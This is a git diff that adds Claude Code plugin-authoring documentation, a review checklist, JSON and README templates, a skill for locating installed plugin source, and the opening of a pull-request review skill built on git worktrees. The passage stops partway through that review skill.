+**Methods:** +```bash +# Local path +/plugin install /path/to/plugin + +# Git repository +/plugin install https://github.com/user/plugin + +# GitHub shorthand +/plugin install github:user/plugin +``` + +## Common Pitfalls + +### Absolute Paths +**Problem:** +```json +{ + "skills": "/Users/me/plugins/my-plugin/skills" // ✗ Absolute +} +``` + +**Solution:** +```json +{ + "skills": ["./skills"] // ✓ Relative +} +``` + +### Missing Plugin Directory +**Problem:** +``` +my-plugin/ +└── plugin.json // ✗ Wrong location +``` + +**Solution:** +``` +my-plugin/ +└── .claude-plugin/ + └── plugin.json // ✓ Correct location +``` + +### Invalid Version Format +**Problem:** +```json +{ + "version": "1" // ✗ Invalid +} +{ + "version": "v1.0.0" // ✗ Don't include 'v' +} +``` + +**Solution:** +```json +{ + "version": "1.0.0" // ✓ Semantic versioning +} +``` + +### Overly Generic Names +**Problem:** +```json +{ + "name": "utils" // ✗ Too vague +} +``` + +**Solution:** +```json +{ + "name": "data-utils" // ✓ More specific +} +``` + +### Missing Component Files +**Problem:** +```json +{ + "skills": ["./skills"] +} +// But no skills/ directory exists +``` + +**Solution:** +- Create directory before referencing +- Or remove reference from plugin.json + +### Wrong Component Format +**Problem:** +```markdown +# My Skill + +Content without frontmatter +``` + +**Solution:** +```markdown +--- +name: My Skill +description: Skill description +--- + +# My Skill + +Content +``` + +## Maintenance + +### Keeping Plugins Updated + +**Regular maintenance:** +- Fix bugs promptly +- Update documentation +- Respond to user feedback +- Test with new Claude Code versions + +**Version updates:** +- Follow semantic versioning +- Document changes in CHANGELOG.md +- Test before releasing +- Update marketplace.json + +### Deprecation Strategy + +When removing features: + +**1. Announce deprecation** (MINOR version) +```json +{ + "version": "1.5.0", + "description": "Note: feature X deprecated, will be removed in 2.0.0" +} +``` + +**2. Remove feature** (MAJOR version) +```json +{ + "version": "2.0.0", + "description": "Breaking: feature X removed" +} +``` + +**3. Document migration** in README + +### Backward Compatibility + +**Maintain in MINOR versions:** +- Keep existing component paths +- Don't remove components +- Don't break existing functionality +- Add, don't replace + +**Break only in MAJOR versions:** +- Remove components +- Change component behavior +- Rename paths +- Require new dependencies + +## Security Considerations + +### Script Safety +- Validate all inputs +- Use proper permissions +- Avoid executing untrusted code +- Document security requirements + +### Sensitive Data +- Don't hardcode credentials +- Use environment variables +- Document required secrets +- Provide examples, not real values + +### MCP Server Security +- Validate external inputs +- Use HTTPS for remote connections +- Handle errors gracefully +- Log security-relevant events + +## Summary + +**Key Best Practices:** + +1. **Plan before building** - Clear purpose, right components +2. **Start minimal** - plugin.json only, add as needed +3. **Use relative paths** - Always start with `./` +4. **Follow semantic versioning** - MAJOR.MINOR.PATCH strictly +5. **Test thoroughly** - Install, test, debug before sharing +6. **Document well** - Clear descriptions, examples, README +7. **Organize logically** - Single responsibility, clear structure +8. **Maintain actively** - Fix bugs, respond to feedback +9. **Version carefully** - Don't break backward compatibility +10. **Secure by default** - Validate inputs, protect secrets + +Follow these practices to create high-quality, maintainable plugins that users will trust and enjoy using. diff --git a/skills/plugin-builder/reference/plugin-structure.md b/skills/plugin-builder/reference/plugin-structure.md new file mode 100644 index 0000000..fed6466 --- /dev/null +++ b/skills/plugin-builder/reference/plugin-structure.md @@ -0,0 +1,606 @@ +# Plugin Directory Structure + +Complete reference for organizing Claude Code plugin directories and files. + +## Complete Structure Example + +``` +my-plugin/ +├── .claude-plugin/ +│ └── plugin.json # REQUIRED: Plugin manifest +├── commands/ # Optional: Custom slash commands +│ ├── command-one.md +│ └── command-two.md +├── agents/ # Optional: Custom agents +│ ├── agent-one.md +│ └── agent-two.md +├── skills/ # Optional: Agent skills +│ ├── skill-one/ +│ │ ├── SKILL.md +│ │ ├── reference/ +│ │ │ └── details.md +│ │ └── templates/ +│ │ └── template.md +│ └── skill-two/ +│ └── SKILL.md +├── hooks/ # Optional: Event handlers +│ └── hooks.json +├── .mcp.json # Optional: MCP server config +├── scripts/ # Optional: Helper scripts +│ └── setup.sh +└── README.md # Optional: Documentation +``` + +## Required Files + +### Plugin Manifest (.claude-plugin/plugin.json) + +This is the ONLY required file. Every plugin must have this. + +**Minimal example:** +```json +{ + "name": "my-plugin", + "version": "1.0.0" +} +``` + +**Complete example:** +```json +{ + "name": "my-plugin", + "version": "1.0.0", + "description": "Brief description of plugin purpose", + "author": { + "name": "Your Name", + "email": "email@example.com" + }, + "homepage": "https://docs.example.com", + "repository": "https://github.com/username/repo", + "license": "MIT", + "keywords": ["tag1", "tag2", "tag3"], + "commands": ["./commands"], + "agents": ["./agents"], + "skills": ["./skills"], + "hooks": "./hooks/hooks.json", + "mcpServers": "./.mcp.json" +} +``` + +### Field Definitions + +**Required fields:** +- `name` (string): Unique plugin identifier in kebab-case +- `version` (string): Semantic version (MAJOR.MINOR.PATCH) + +**Optional metadata:** +- `description` (string): Brief plugin purpose for discoverability +- `author` (object): Author information + - `name` (string, required): Author's name + - `email` (string, optional): Author's email +- `homepage` (string): URL to documentation +- `repository` (string): URL to source code +- `license` (string): Open source license identifier (e.g., "MIT", "Apache-2.0") +- `keywords` (array of strings): Tags for marketplace discovery + +**Component paths:** +- `commands` (string or array): Path(s) to command directories +- `agents` (string or array): Path(s) to agent directories +- `skills` (string or array): Path(s) to skill directories +- `hooks` (string): Path to hooks.json file +- `mcpServers` (string): Path to .mcp.json file + +## Path Resolution + +### Path Rules + +1. **Must be relative** to plugin root +2. **Should start with** `./` +3. **Can use variable** `${CLAUDE_PLUGIN_ROOT}` for flexibility +4. **Can be arrays** for multiple component directories + +### Path Examples + +**Single directory:** +```json +{ + "skills": "./skills" +} +``` + +**Multiple directories:** +```json +{ + "skills": ["./skills", "./shared-skills"] +} +``` + +**With variable (advanced):** +```json +{ + "skills": "${CLAUDE_PLUGIN_ROOT}/skills" +} +``` + +**File reference:** +```json +{ + "hooks": "./hooks/hooks.json", + "mcpServers": "./.mcp.json" +} +``` + +## Component Directories + +### Commands Directory + +Contains custom slash command definitions. + +**Structure:** +``` +commands/ +├── my-command.md +├── another-command.md +└── nested/ + └── sub-command.md +``` + +**File format:** +Each command is a Markdown file with frontmatter: + +```markdown +--- +name: my-command +description: Command description +--- + +Command prompt content here. +``` + +**Usage:** Users invoke with `/my-command` + +### Agents Directory + +Contains custom agent definitions. + +**Structure:** +``` +agents/ +├── my-agent.md +└── specialized-agent.md +``` + +**File format:** +Markdown files describing agent capabilities and behavior. + +### Skills Directory + +Contains agent skills (most common component type). + +**Structure:** +``` +skills/ +├── skill-one/ +│ ├── SKILL.md # Required +│ ├── reference/ # Optional: detailed docs +│ │ └── details.md +│ └── templates/ # Optional: templates +│ └── output.json +└── skill-two/ + └── SKILL.md # Minimal skill +``` + +**Requirements:** +- Each skill is a directory +- Must contain `SKILL.md` with YAML frontmatter +- Can include supporting files (reference docs, templates, scripts) + +### Hooks Directory + +Contains event handler configuration. + +**Structure:** +``` +hooks/ +└── hooks.json +``` + +**hooks.json format:** +```json +{ + "hooks": [ + { + "event": "PreToolUse", + "command": "./scripts/pre-tool.sh" + }, + { + "event": "PostToolUse", + "command": "./scripts/post-tool.sh" + }, + { + "event": "UserPromptSubmit", + "command": "./scripts/on-submit.sh" + } + ] +} +``` + +**Supported events:** +- `PreToolUse`: Before tool execution +- `PostToolUse`: After tool execution +- `UserPromptSubmit`: When user submits prompt + +### MCP Servers Configuration + +Model Context Protocol server integration. + +**File location:** `.mcp.json` in plugin root + +**Format:** +```json +{ + "mcpServers": { + "server-name": { + "command": "node", + "args": ["./path/to/server.js"], + "env": { + "API_KEY": "value" + } + } + } +} +``` + +## Common Plugin Patterns + +### Pattern 1: Skills-Only Plugin (Most Common) + +Simplest and most common plugin pattern. + +``` +my-skills-plugin/ +├── .claude-plugin/ +│ └── plugin.json +└── skills/ + ├── skill-one/ + │ └── SKILL.md + └── skill-two/ + └── SKILL.md +``` + +**plugin.json:** +```json +{ + "name": "my-skills-plugin", + "version": "1.0.0", + "description": "Collection of helpful skills", + "skills": ["./skills"] +} +``` + +**Use when:** You want to share reusable capabilities that agents can invoke. + +### Pattern 2: Commands-Only Plugin + +For user-invoked custom commands. + +``` +my-commands-plugin/ +├── .claude-plugin/ +│ └── plugin.json +└── commands/ + ├── deploy.md + └── test.md +``` + +**plugin.json:** +```json +{ + "name": "my-commands-plugin", + "version": "1.0.0", + "description": "Custom deployment and testing commands", + "commands": ["./commands"] +} +``` + +**Use when:** You want custom slash commands for specific workflows. + +### Pattern 3: Agent-Focused Plugin + +For specialized agent behaviors. + +``` +my-agent-plugin/ +├── .claude-plugin/ +│ └── plugin.json +└── agents/ + └── code-reviewer.md +``` + +**plugin.json:** +```json +{ + "name": "my-agent-plugin", + "version": "1.0.0", + "description": "Specialized code review agent", + "agents": ["./agents"] +} +``` + +**Use when:** You need specialized agent behaviors. + +### Pattern 4: MCP Integration Plugin + +For external tool integrations. + +``` +mcp-integration-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── .mcp.json +└── servers/ + └── custom-server.js +``` + +**plugin.json:** +```json +{ + "name": "mcp-integration", + "version": "1.0.0", + "description": "Custom MCP server integration", + "mcpServers": "./.mcp.json" +} +``` + +**Use when:** Integrating external data sources or tools. + +### Pattern 5: Workflow Plugin (Multi-Component) + +Combines multiple component types for complete workflow. + +``` +workflow-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── commands/ +│ └── start-workflow.md +├── skills/ +│ ├── process-data/ +│ │ └── SKILL.md +│ └── generate-report/ +│ └── SKILL.md +└── hooks/ + └── hooks.json +``` + +**plugin.json:** +```json +{ + "name": "workflow-plugin", + "version": "1.0.0", + "description": "Complete data processing workflow", + "commands": ["./commands"], + "skills": ["./skills"], + "hooks": "./hooks/hooks.json" +} +``` + +**Use when:** Building complete workflows with commands, skills, and hooks. + +### Pattern 6: Enterprise Plugin (Full-Featured) + +Comprehensive plugin with all component types. + +``` +enterprise-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── commands/ +│ ├── deploy.md +│ └── rollback.md +├── agents/ +│ └── security-scanner.md +├── skills/ +│ ├── compliance-check/ +│ │ └── SKILL.md +│ └── audit-log/ +│ └── SKILL.md +├── hooks/ +│ └── hooks.json +├── .mcp.json +├── scripts/ +│ ├── pre-deploy.sh +│ └── post-deploy.sh +└── README.md +``` + +**plugin.json:** +```json +{ + "name": "enterprise-plugin", + "version": "2.1.0", + "description": "Enterprise deployment and compliance toolkit", + "author": { + "name": "Enterprise Team", + "email": "team@enterprise.com" + }, + "homepage": "https://docs.enterprise.com/plugin", + "repository": "https://github.com/enterprise/plugin", + "license": "MIT", + "keywords": ["enterprise", "deployment", "compliance", "security"], + "commands": ["./commands"], + "agents": ["./agents"], + "skills": ["./skills"], + "hooks": "./hooks/hooks.json", + "mcpServers": "./.mcp.json" +} +``` + +**Use when:** Building comprehensive tooling for enterprise workflows. + +## Multi-Directory Support + +You can specify multiple directories for component types. + +**Example:** +```json +{ + "name": "multi-source-plugin", + "version": "1.0.0", + "skills": ["./skills", "./shared-skills", "./experimental-skills"], + "commands": ["./commands", "./admin-commands"] +} +``` + +**Directory structure:** +``` +multi-source-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── skills/ +│ └── core-skill/ +│ └── SKILL.md +├── shared-skills/ +│ └── shared-skill/ +│ └── SKILL.md +├── experimental-skills/ +│ └── experimental-skill/ +│ └── SKILL.md +├── commands/ +│ └── user-command.md +└── admin-commands/ + └── admin-command.md +``` + +**Use when:** +- Organizing components by category +- Separating stable from experimental features +- Sharing components across multiple plugins + +## Supporting Files + +### Scripts Directory + +Optional directory for helper scripts. + +``` +scripts/ +├── setup.sh +├── validate.py +└── hooks/ + ├── pre-tool.sh + └── post-tool.sh +``` + +**Use for:** +- Installation scripts +- Validation scripts +- Hook implementations +- Utility scripts + +### Documentation Files + +Optional documentation in plugin root. + +``` +my-plugin/ +├── .claude-plugin/ +├── README.md # Main documentation +├── CHANGELOG.md # Version history +└── LICENSE # License file +``` + +**Recommended:** +- README.md: Installation, usage, examples +- CHANGELOG.md: Version history and changes +- LICENSE: License text for open source plugins + +## Best Practices + +### Organization +- Group related components together +- Use clear, descriptive directory names +- Keep supporting files in logical locations +- Don't mix component types in same directory + +### File Naming +- Use kebab-case for file names +- Be descriptive: `generate-report.md` not `gen.md` +- Match component names to file names when possible + +### Component Placement +- Commands: User-facing, workflow-oriented +- Skills: Agent-invoked, reusable capabilities +- Agents: Specialized behaviors +- Hooks: Event-driven actions +- MCP: External integrations + +### Path Management +- Always use relative paths +- Start paths with `./` +- Test all paths after creating manifest +- Verify paths work after installation + +### Documentation +- Include README.md for complex plugins +- Document each component's purpose +- Provide usage examples +- List any requirements or dependencies + +## Troubleshooting + +### Plugin Not Found +**Symptom:** Plugin doesn't appear after installation +**Check:** +- `.claude-plugin/plugin.json` exists +- JSON is valid (use linter) +- Plugin directory is in correct location + +### Components Not Loaded +**Symptom:** Commands/skills don't appear after install +**Check:** +- Paths in plugin.json are relative and correct +- Paths start with `./` +- Component files have correct format (frontmatter, etc.) +- Use `claude --debug` to see loading details + +### Invalid Manifest +**Symptom:** Error when installing plugin +**Check:** +- Required fields present (name, version) +- Version follows semantic versioning (x.y.z) +- JSON syntax is valid +- Paths exist and are relative + +### Path Resolution Issues +**Symptom:** Components not found +**Check:** +- Paths are relative, not absolute +- Paths start with `./` +- Directories/files exist at specified paths +- No typos in path strings + +## Validation Checklist + +Before sharing your plugin: + +- [ ] `.claude-plugin/plugin.json` exists and is valid JSON +- [ ] Required fields present: `name`, `version` +- [ ] Version follows semantic versioning (x.y.z) +- [ ] All paths are relative and start with `./` +- [ ] All referenced paths exist +- [ ] Component files have correct format +- [ ] Plugin installs without errors +- [ ] Components appear and work correctly +- [ ] Tested with `claude --debug` +- [ ] Documentation is clear and complete + +## Summary + +**Key Takeaways:** +1. Only `.claude-plugin/plugin.json` is required +2. All other components are optional +3. Use relative paths starting with `./` +4. Choose patterns that match your needs +5. Start simple, add complexity as needed +6. Test thoroughly before sharing diff --git a/skills/plugin-builder/reference/review-checklist.md b/skills/plugin-builder/reference/review-checklist.md new file mode 100644 index 0000000..defdf6a --- /dev/null +++ b/skills/plugin-builder/reference/review-checklist.md @@ -0,0 +1,137 @@ +# Plugin Review Checklist + +This comprehensive checklist helps ensure plugins follow best practices before being shared or added to marketplaces. + +## Detailed Review Checklist + +### 1. Manifest Validation +- [ ] `plugin.json` exists at `.claude-plugin/plugin.json` (not at root) +- [ ] `name` field is present and uses kebab-case +- [ ] `version` field follows semantic versioning (MAJOR.MINOR.PATCH) +- [ ] `description` is clear and concise (if present) +- [ ] `author.name` is specified (if author field exists) +- [ ] `keywords` are relevant for discoverability (if present) +- [ ] JSON syntax is valid (no trailing commas, proper quotes) + +### 2. Path Validation +- [ ] All component paths are relative (start with `./`) +- [ ] No absolute paths in plugin.json +- [ ] Component paths reference directories/files that actually exist +- [ ] No use of `../` to reference files outside plugin directory +- [ ] Paths use forward slashes (not backslashes) +- [ ] `${CLAUDE_PLUGIN_ROOT}` variable is used correctly if present + +### 3. Structure and Organization +- [ ] Plugin follows a clear structural pattern (single-purpose, skills-focused, or full-featured) +- [ ] Related functionality is grouped together +- [ ] Directory names are descriptive and consistent +- [ ] No unnecessary files or directories +- [ ] Plugin has single, cohesive purpose (not a catch-all) + +### 4. Component Quality + +**For Skills:** +- [ ] Each skill has `SKILL.md` in its directory +- [ ] Skill frontmatter includes `name` and `description` +- [ ] Skill descriptions clearly indicate when to use the skill +- [ ] Skills provide actionable guidance, not just information dumps +- [ ] Skills use progressive disclosure (start simple, reveal detail as needed) + +**For Commands:** +- [ ] Command files use `.md` extension +- [ ] Command names are descriptive and follow naming conventions +- [ ] Commands include usage examples +- [ ] Commands document required vs optional parameters + +**For Agents:** +- [ ] Agent files clearly describe agent purpose and capabilities +- [ ] Agent tools and behaviors are well-defined +- [ ] Agent use cases are documented + +**For Hooks:** +- [ ] `hooks.json` has valid structure +- [ ] Hook events are valid (PreToolUse, PostToolUse, UserPromptSubmit) +- [ ] Hook scripts/commands are tested + +**For MCP Servers:** +- [ ] `.mcp.json` configuration is valid +- [ ] Server dependencies are documented +- [ ] Installation instructions are provided + +### 5. Documentation +- [ ] README.md exists and explains plugin purpose +- [ ] Installation instructions are clear +- [ ] Usage examples are provided +- [ ] Requirements and dependencies are documented +- [ ] License is specified (in plugin.json or LICENSE file) +- [ ] Each component has adequate documentation + +### 6. Naming Conventions +- [ ] Plugin name is descriptive and indicates purpose +- [ ] Plugin name doesn't conflict with common/existing plugins +- [ ] Avoid generic names like `utils`, `helpers`, `misc` +- [ ] Skill names clearly indicate their purpose +- [ ] Command names are intuitive and follow slash-command conventions + +### 7. Versioning +- [ ] Version number is appropriate for current state +- [ ] Breaking changes increment MAJOR version +- [ ] New features increment MINOR version +- [ ] Bug fixes increment PATCH version +- [ ] Version matches expected maturity (1.0.0+ for production-ready) + +### 8. Security and Safety +- [ ] No hardcoded credentials or API keys +- [ ] No references to private/internal systems in public plugins +- [ ] Hook commands don't execute unsafe operations +- [ ] MCP servers use secure connection methods +- [ ] No malicious or obfuscated code + +## Common Issues to Flag + +### Critical Issues (must fix before sharing) +- Missing or malformed plugin.json +- Invalid JSON syntax +- Absolute paths instead of relative paths +- Missing required component files +- Security vulnerabilities (hardcoded secrets, unsafe code) +- Invalid semantic versioning + +### Important Issues (should fix) +- Missing or inadequate description +- Poor or generic naming +- Missing documentation +- Untested components +- Paths that don't start with `./` +- No version or author information + +### Minor Issues (nice to fix) +- Missing keywords for discoverability +- No homepage or repository link +- Could benefit from more examples +- Documentation could be clearer +- Directory structure could be more intuitive + +## Review Decision Criteria + +### Ready to Share +Plugin is ready to share if: +- All critical issues resolved +- Plugin installs and works correctly +- Documentation is adequate +- Follows best practices +- Has clear, single purpose + +### Needs Revision +Plugin needs revision if: +- Any critical issues present +- Important issues significantly impact usability +- Testing reveals functionality problems +- Documentation is insufficient + +### Reject +Plugin should be rejected if: +- Security vulnerabilities present +- Malicious or deceptive functionality +- Violates plugin system requirements +- Cannot be fixed to meet minimum standards diff --git a/skills/plugin-builder/templates/README.md b/skills/plugin-builder/templates/README.md new file mode 100644 index 0000000..1f33664 --- /dev/null +++ b/skills/plugin-builder/templates/README.md @@ -0,0 +1,149 @@ +# Plugin Name + +Brief description of what this plugin does and why it's useful. + +## Installation + +### Via Marketplace + +```bash +/plugin marketplace add +/plugin install my-plugin@marketplace-name +``` + +### Direct Installation + +```bash +/plugin install /path/to/my-plugin +``` + +Or from GitHub: + +```bash +/plugin install https://github.com/username/my-plugin +``` + +## Components + +### Skills + +- **Skill Name**: Brief description of what the skill does +- **Another Skill**: Brief description + +### Commands + +- `/my-command`: Description of what this command does +- `/another-command`: Description of another command + +### Agents + +- **Agent Name**: Description of specialized agent behavior + +## Usage + +### Using Skills + +Skills are automatically discovered by Claude. Just mention tasks related to: +- Key capability 1 +- Key capability 2 +- Key capability 3 + +### Using Commands + +```bash +# Example command usage +/my-command param1 param2 + +# Another example +/another-command +``` + +### Example Workflows + +**Workflow 1: Common Task** +1. Step 1 +2. Step 2 +3. Step 3 + +**Workflow 2: Another Common Task** +1. Step 1 +2. Step 2 + +## Requirements + +- List any dependencies +- Required environment variables +- Minimum Claude Code version +- System requirements + +## Configuration + +If your plugin needs configuration: + +```bash +# Set environment variable +export MY_PLUGIN_CONFIG=value +``` + +Or create a config file: + +```json +{ + "setting1": "value1", + "setting2": "value2" +} +``` + +## Examples + +### Example 1: Basic Usage + +Detailed example showing basic functionality. + +``` +Step-by-step example +``` + +### Example 2: Advanced Usage + +More complex example showing advanced features. + +``` +Step-by-step example +``` + +## Troubleshooting + +**Problem: Common issue** +- Solution: How to fix it + +**Problem: Another common issue** +- Solution: How to fix it + +## Development + +To contribute or modify this plugin: + +```bash +# Clone repository +git clone https://github.com/username/my-plugin + +# Install locally +/plugin install /path/to/my-plugin + +# Make changes +# Test changes +# Submit PR +``` + +## License + +MIT License - see LICENSE file for details + +## Author + +Your Name (your.email@example.com) + +## Changelog + +See [CHANGELOG.md](CHANGELOG.md) for version history. diff --git a/skills/plugin-builder/templates/hooks.json b/skills/plugin-builder/templates/hooks.json new file mode 100644 index 0000000..f2378dc --- /dev/null +++ b/skills/plugin-builder/templates/hooks.json @@ -0,0 +1,16 @@ +{ + "hooks": [ + { + "event": "PreToolUse", + "command": "./scripts/pre-tool.sh" + }, + { + "event": "PostToolUse", + "command": "./scripts/post-tool.sh" + }, + { + "event": "UserPromptSubmit", + "command": "./scripts/on-submit.sh" + } + ] +} diff --git a/skills/plugin-builder/templates/plugin-minimal.json b/skills/plugin-builder/templates/plugin-minimal.json new file mode 100644 index 0000000..aa9d850 --- /dev/null +++ b/skills/plugin-builder/templates/plugin-minimal.json @@ -0,0 +1,4 @@ +{ + "name": "my-plugin", + "version": "1.0.0" +} diff --git a/skills/plugin-builder/templates/plugin.json b/skills/plugin-builder/templates/plugin.json new file mode 100644 index 0000000..1507674 --- /dev/null +++ b/skills/plugin-builder/templates/plugin.json @@ -0,0 +1,18 @@ +{ + "name": "my-plugin", + "version": "1.0.0", + "description": "Brief description of what this plugin does", + "author": { + "name": "Your Name", + "email": "your.email@example.com" + }, + "homepage": "https://github.com/username/plugin", + "repository": "https://github.com/username/plugin", + "license": "MIT", + "keywords": ["keyword1", "keyword2", "keyword3"], + "commands": ["./commands"], + "agents": ["./agents"], + "skills": ["./skills"], + "hooks": "./hooks/hooks.json", + "mcpServers": "./.mcp.json" +} diff --git a/skills/plugin-source-locator/SKILL.md b/skills/plugin-source-locator/SKILL.md new file mode 100644 index 0000000..6382ccc --- /dev/null +++ b/skills/plugin-source-locator/SKILL.md @@ -0,0 +1,189 @@ +--- +name: Locating Plugin Source Code +description: Use when you need to find the source code location of installed plugins, explore plugin structure, access reference materials in plugins, or debug plugin issues. Provides step-by-step guidance to trace installed plugins back to their local repository locations by reading ~/.claude/plugins/installed_plugins.json and navigating to the installPath. Useful for finding skills, commands, reference docs, or understanding plugin implementation. +--- + +# Locating Plugin Source Code + +This skill helps you find and navigate to the source code of installed Claude Code plugins. + +## When to Use This Skill + +Use this skill when you need to: +- Find the source code location of an installed plugin +- Access reference materials within a plugin (e.g., JWT security docs in pr-review) +- Explore plugin structure and organization +- Debug plugin issues or understand implementation details +- Contribute to or modify a locally-installed plugin +- Find specific skill files or command files within a plugin + +## How Plugin Installation Works + +When plugins are installed locally: +- Installation metadata is stored in `~/.claude/plugins/installed_plugins.json` +- Each plugin entry contains an `installPath` pointing to the actual source code location +- For local marketplace installations, the path typically points to a git repository on your machine + +## Step-by-Step: Finding Plugin Source Code + +### Step 1: Read the Installation Metadata + +Read the installed plugins file to find plugin information: + +```bash +# Read the installed plugins metadata +cat ~/.claude/plugins/installed_plugins.json +``` + +This file contains entries like: +```json +{ + "version": 1, + "plugins": { + "plugin-name@marketplace-name": { + "version": "1.0.0", + "installedAt": "2025-10-27T17:15:15.309Z", + "lastUpdated": "2025-10-27T17:15:15.309Z", + "installPath": "/Users/username/src/marketplace-repo/plugin-name", + "gitCommitSha": "abc123...", + "isLocal": true + } + } +} +``` + +**Key field**: The `installPath` contains the absolute path to the plugin's source code. + +### Step 2: Navigate to the Plugin Source + +Use the `installPath` from Step 1 to navigate to the plugin: + +```bash +cd /path/from/installPath +``` + +### Step 3: Explore Plugin Structure + +Once in the plugin directory, explore its contents: + +```bash +# List the plugin structure +ls -la + +# Find all markdown files (skills, commands, reference docs) +find . -name "*.md" -o -name "*.MD" + +# Find specific content (e.g., JWT security docs) +find . -name "*jwt*" -o -name "*security*" +``` + +### Step 4: Access Specific Components + +Common plugin structure: +``` +plugin-name/ +├── .claude-plugin/ +│ └── plugin.json # Plugin manifest +├── skills/ +│ └── skill-name/ +│ ├── SKILL.md # Main skill file +│ └── reference/ # Additional documentation +│ ├── best-practices.md +│ └── examples.md +├── commands/ +│ └── command-name.md # Slash commands +└── README.md +``` + +To read specific files, use the Read tool with the full path: +- Skills: `{installPath}/skills/{skill-name}/SKILL.md` +- Reference docs: `{installPath}/skills/{skill-name}/reference/{doc-name}.md` +- Commands: `{installPath}/commands/{command-name}.md` + +## Example: Finding pr-review JWT Security Docs + +**Goal**: Find JWT security best practices in the pr-review skill. + +**Step 1**: Read installed plugins +```bash +cat ~/.claude/plugins/installed_plugins.json +``` + +**Step 2**: Locate the pr-review plugin entry and extract installPath +```json +"bbrowning-claude@bbrowning-marketplace": { + "installPath": "/Users/bbrowning/src/bbrowning-claude-marketplace/bbrowning-claude" +} +``` + +**Step 3**: Find markdown files in that location +```bash +find /Users/bbrowning/src/bbrowning-claude-marketplace/bbrowning-claude -name "*.md" +``` + +**Step 4**: Locate the JWT security reference +``` +/Users/bbrowning/.../skills/pr-review/reference/jwt-security.md +``` + +**Step 5**: Read the file +Use the Read tool on the full path. + +## Validation Checklist + +After locating plugin source code: +- [ ] Verified `installPath` exists in `installed_plugins.json` +- [ ] Confirmed the directory exists at the `installPath` +- [ ] Found the plugin's `.claude-plugin/plugin.json` manifest +- [ ] Located the specific component (skill, command, reference doc) you need +- [ ] Successfully read the target file + +## Common Patterns + +### Pattern 1: Finding All Skills in a Plugin + +```bash +# From the installPath +find . -name "SKILL.md" +``` + +### Pattern 2: Finding Reference Documentation + +```bash +# Look for reference directories +find . -type d -name "reference" + +# List reference docs in a specific skill +ls skills/skill-name/reference/ +``` + +### Pattern 3: Searching for Specific Content + +```bash +# Find files containing specific keywords +grep -r "jwt" . --include="*.md" +grep -r "security" . --include="*.md" +``` + +## Tips + +- **Multiple plugins from same marketplace**: If a marketplace contains multiple plugins, each will have its own subdirectory within the marketplace repository +- **Local vs remote plugins**: The `isLocal` field indicates if the plugin is installed from a local path (true) or remote git URL (false) +- **Git repository**: If the plugin is in a git repository, you can see the installed commit via `gitCommitSha` +- **Plugin updates**: The `lastUpdated` timestamp shows when the plugin was last updated + +## Troubleshooting + +**Problem**: `installPath` directory doesn't exist +- The plugin may have been moved or the marketplace repository relocated +- Check if the repository exists elsewhere on your system +- Reinstall the plugin if necessary + +**Problem**: Can't find specific file in plugin +- Verify you're looking in the correct component directory (skills/ vs commands/) +- Check the plugin's `plugin.json` to see which directories are configured +- Some plugins may organize files differently than expected + +**Problem**: Multiple versions of same plugin +- Check all entries in `installed_plugins.json` for the plugin name +- The marketplace suffix (@marketplace-name) distinguishes different sources diff --git a/skills/pr-review/SKILL.md b/skills/pr-review/SKILL.md new file mode 100644 index 0000000..5036840 --- /dev/null +++ b/skills/pr-review/SKILL.md @@ -0,0 +1,444 @@ +--- +name: Reviewing Pull Requests +description: Use when user mentions reviewing PRs, provides GitHub PR URLs/numbers, or discusses code review. Provides structured analysis of code quality, backward compatibility, security issues, test coverage, and unaddressed comments with categorized findings (Critical/High/Medium/Low). Creates isolated git worktree for safe review, ensures comprehensive security analysis, and generates actionable recommendations. Invoke before analyzing any pull request changes. +allowed-tools: Read, Grep, Glob, Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr checks:*), Bash(gh pr checkout:*), Bash(git worktree:*), Bash(cd:*), Bash(pwd:*) +--- + +# Pull Request Review Workflow + +This skill guides comprehensive PR reviews using the GitHub CLI and local code analysis. + +## 0. Determine Starting Point + +**When this skill is invoked:** + +1. **If user is already in a PR worktree** (mentions "already in worktree", "skip to step 3", or "skip worktree setup"): + - Skip directly to **step 3** (Gather PR Context) + - Assume worktree is set up correctly + - Proceed with the review + +2. **If user provides a PR reference** (URL, org/repo#number, etc.) and is NOT in a worktree: + - Parse the PR reference (see formats below) + - Confirm with user before creating worktree + - Proceed to **step 1** (Create worktree) + +**Supported PR reference formats:** +- `//pull/` +- `/#` +- Full github.com URL pointing to a specific pull request + +**Note**: For setting up worktrees, you can also use the `/pr-review` slash command which handles the setup workflow and provides handoff instructions. + +## 1. Creating a Git Worktree for the PR + +**Determine the repository location:** + +First, check if the repository exists locally on this machine: +- Look in common source code locations (~/src/, ~/repos/, etc.) +- Use the user's machine-specific path configuration if available +- If the repository doesn't exist locally, ask the user if they want to clone it first or provide the path + +**Create a new worktree with the PR checked out:** + +```bash +# Navigate to the repository (if not already there) +cd /path/to/ + +# Create worktree and check out the PR +# Use format: -pr- for the branch and directory +git worktree add ../-pr- -b -pr- +cd ../-pr- +gh pr checkout +``` + +**Example for vLLM project PR #12345 where vllm is at /Users/alice/repos/vllm:** +```bash +cd /Users/alice/repos/vllm +git worktree add ../vllm-pr-12345 -b vllm-pr-12345 +cd ../vllm-pr-12345 +gh pr checkout 12345 +``` + +**Share .claude configuration across worktrees:** + +After creating the worktree, set up `.claude/` configuration sharing if needed: + +```bash +cd ../-pr- + +# Check if .claude already exists (from git or previous setup) +if [ ! -e .claude ]; then + # Get main worktree path + MAIN_WORKTREE=$(git worktree list --porcelain | awk '/^worktree/ {print $2; exit}') + + # If .claude exists in main worktree, create symlink + if [ -d "$MAIN_WORKTREE/.claude" ]; then + ln -s "$MAIN_WORKTREE/.claude" .claude + echo "Created .claude symlink to share configuration" + fi +fi +``` + +**Why symlink .claude?** +- Ensures project-local configuration (review criteria, skills, commands) is available in the PR worktree +- Maintains consistency across all worktrees for the same repository +- If `.claude/` is committed to git, it's already available; if not, the symlink shares it + +**CRITICAL SAFETY**: Never run code from the PR. It may contain untrusted code. Only read and analyze files. + +## 2. Launch Claude Code in the Worktree + +After creating the worktree, **STOP HERE**. Do NOT continue to step 3 in this session. + +**CRITICAL HANDOFF POINT**: You must provide the user with instructions to launch a NEW Claude Code session in the worktree. The review MUST happen in a fresh session in the worktree directory, NOT in the current session. + +**Why this matters:** +- Fresh context focused only on PR changes +- Correct working directory for running tests and examining code +- Isolation from the original repository/marketplace + +**IMPORTANT**: Include ALL relevant skills that were loaded in the current session in the handoff prompt. This ensures the new Claude Code session has the full context needed for the review. + 